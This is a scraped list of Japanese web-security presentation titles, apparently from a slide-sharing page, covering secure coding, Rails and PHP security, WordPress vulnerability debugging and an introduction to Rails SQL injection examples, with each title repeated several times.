ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
 
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
 
Railsエンジニアのためのウェブセキュリティ入門
Railsエンジニアのためのウェブセキュリティ入門Railsエンジニアのためのウェブセキュリティ入門
Railsエンジニアのためのウェブセキュリティ入門
 
安全なWebアプリケーションの作り方2018
安全なWebアプリケーションの作り方2018安全なWebアプリケーションの作り方2018
安全なWebアプリケーションの作り方2018
 
秀スクリプトの話
秀スクリプトの話秀スクリプトの話
秀スクリプトの話
 
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみようデバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
 
若手エンジニアのためのセキュリティ講座
若手エンジニアのためのセキュリティ講座若手エンジニアのためのセキュリティ講座
若手エンジニアのためのセキュリティ講座
 
ウェブセキュリティの常識
ウェブセキュリティの常識ウェブセキュリティの常識
ウェブセキュリティの常識
 
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
 
ウェブアプリケーションセキュリティ超入門
ウェブアプリケーションセキュリティ超入門ウェブアプリケーションセキュリティ超入門
ウェブアプリケーションセキュリティ超入門
 
ウェブセキュリティの最近の話題早分かり
ウェブセキュリティの最近の話題早分かりウェブセキュリティの最近の話題早分かり
ウェブセキュリティの最近の話題早分かり
 
セキュリティの都市伝説を暴く
セキュリティの都市伝説を暴くセキュリティの都市伝説を暴く
セキュリティの都市伝説を暴く
 

Rails SQL Injection Examplesの紹介